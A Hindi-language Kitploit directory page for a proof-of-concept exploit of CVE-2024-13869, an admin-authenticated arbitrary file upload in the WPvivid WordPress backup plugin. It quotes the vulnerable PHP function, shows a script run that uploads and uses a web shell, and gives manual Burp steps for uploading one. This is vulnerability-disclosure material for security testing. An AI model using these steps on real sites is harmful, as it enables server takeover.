Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-13869 — माइग्रेशन, बैकअप, स्टेजिंग – WPvivid <= 0.9.112 - प्रमाणित (Admin+) मनमानी फ़ाइल अपलोड wpvivid_upload_file के माध्यम से | Kitploit
उपकरण/GitHubGitHub/d0n601/cve-2024-13869
पेलोड जनरेशनभेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubd0n601/cve-2024-13869

CVE-2024-13869

माइग्रेशन, बैकअप, स्टेजिंग – WPvivid <= 0.9.112 - प्रमाणित (Admin+) मनमानी फ़ाइल अपलोड wpvivid_upload_file के माध्यम से

रिपॉजिटरी देखें
41 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-13869

माइग्रेशन, बैकअप, स्टेजिंग – WPvivid <= 0.9.112 - प्रमाणित (प्रशासक+) wpvivid_upload_file के माध्यम से मनमानी फ़ाइल अपलोड

wpvivid-backuprestore प्लगइन wpvivid_upload_file क्रिया के फ़ाइल प्रकारों को सैनिटाइज़ नहीं करता, जिससे प्रशासक या उनसे ऊपर के उपयोगकर्ता मनमानी फ़ाइलें अपलोड कर सकते हैं और संभावित रूप से सर्वर पर कोड निष्पादन प्राप्त कर सकते हैं।

TL;DR शोषण

  • एक POC CVE-2024-13869.py प्रदान किया गया है जो यह दर्शाता है कि एक प्रशासक hack.php नामक एक वेब शेल अपलोड कर रहा है।
root@kitploit:~
python3 ./CVE-2024-13869.py https://lab0.hacker admin PASSWORD   
Logging into: https://lab0.hacker/wp-admin
Extracting nonce values...
ajax_nonce: a993fb1986
Uploading web shell: hack.php
{"result":"success"}

Web Shell At: https://lab0.hacker/wp-content/wpvividbackups/hack.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 46962sec preferred_lft 46962sec
    inet6 fd00::a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86190sec preferred_lft 14190sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:c7:fd:25 brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fec7:fd25/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:28:bd:99:83 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

विवरण

ऐसा प्रतीत होता है कि wpvivid_upload_file क्रिया /wp-content/plugins/wpvivid-backuprestore/includes/class-wpvivid-backup-uploader.php की पंक्ति 293 पर upload_files फ़ंक्शन को कॉल करती है, जो नॉन्स और उपयोगकर्ता की अनुमतियों की जाँच करता है, लेकिन सर्वर पर अपलोड किए जा रहे फ़ाइल प्रकार की नहीं।

root@kitploit:~
    function upload_files()
    {
        check_ajax_referer( 'wpvivid_ajax', 'nonce' );
        $check=current_user_can('manage_options');
        $check=apply_filters('wpvivid_ajax_check_security',$check);
        if(!$check)
        {
            die();
        }

        try
        {
            $chunk = isset($_REQUEST["chunk"]) ? intval(sanitize_key($_REQUEST["chunk"])) : 0;
            $chunks = isset($_REQUEST["chunks"]) ? intval(sanitize_key($_REQUEST["chunks"])) : 0;

            $fileName = isset($_REQUEST["name"]) ? sanitize_text_field($_REQUEST["name"]) : $_FILES["file"]["name"];

            $backupdir=WPvivid_Setting::get_backupdir();
            $filePath = WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$backupdir.DIRECTORY_SEPARATOR.$fileName;

            $out = @fopen("{$filePath}.part", $chunk == 0 ? "wb" : "ab");

            if ($out)
            {
                // Read binary input stream and append it to temp file
                $options['test_form'] =true;
                $options['action'] ='wpvivid_upload_files';
                $options['test_type'] = false;
                $options['ext'] = 'zip';
                $options['type'] = 'application/zip';

                add_filter('upload_dir', array($this, 'upload_dir'));

                $status = wp_handle_upload($_FILES['async-upload'],$options);

                remove_filter('upload_dir', array($this, 'upload_dir'));

                $in = @fopen($status['file'], "rb");

                if ($in)
                {
                    while ($buff = fread($in, 4096))
                        fwrite($out, $buff);
                }
                else
                {
                    echo wp_json_encode(array('result'=>'failed','error'=>"Failed to open tmp file.path:".$status['file']));
                    die();
                }

                @fclose($in);
                @fclose($out);

                @wp_delete_file($status['file']);
            }
            else
            {
                echo wp_json_encode(array('result'=>'failed','error'=>"Failed to open input stream.path:{$filePath}.part"));
                die();
            }

            if (!$chunks || $chunk == $chunks - 1)
            {
                // Strip the temp .part suffix off
                rename("{$filePath}.part", $filePath);
            }

            echo wp_json_encode(array('result' => WPVIVID_SUCCESS));
        }
        catch (Exception $error)
        {
            $message = 'An exception has occurred. class: '.get_class($error).';msg: '.$error->getMessage().';code: '.$error->getCode().';line: '.$error->getLine().';in_file: '.$error->getFile().';';
            error_log($message);
            echo wp_json_encode(array('result'=>'failed','error'=>$message));
        }
        die();
    }

मैन्युअल पुनरुत्पादन

  1. प्रशासन पैनल में लॉगिन करें और WPvivid Backup टैब पर जाएं।
  2. Backup & Restore के अंतर्गत, एक नया बैकअप बनाने के लिए Backup Now बटन पर क्लिक करें और इसे डाउनलोड करें ताकि हम अगले चरणों में .zip फ़ाइल का उपयोग कर सकें।
  3. फिर से Backup & Restore अनुभाग के अंतर्गत, Upload टैब पर जाएं और हमारे द्वारा बनाए गए .zip का चयन करें। pre_upload
  4. Burp Suite या इसी तरह का एक उपकरण प्रारंभ करें और ट्रैफ़िक को इंटरसेप्ट करना शुरू करें।
  5. Upload पर क्लिक करें और /wp-admin/admin-ajax.php पर wpvivid_upload_files क्रिया को कॉल करने वाले POST अनुरोध को इंटरसेप्ट करें। intercept_call
  6. अनुरोध को संशोधित करके एक मनमानी फ़ाइल शामिल करें, नीचे दिए गए उदाहरण में हम एक php वेब शेल अपलोड कर रहे हैं। modify
  7. अनुरोध भेजें और {"result":"success"} प्राप्त करें। sent_modified
  8. वेब शेल को https://example.com/wp-content/wpvividbackups/webshell.php पर ब्राउज़ करें और कोड निष्पादित करें। hitshell
टूल डाउनलोड करें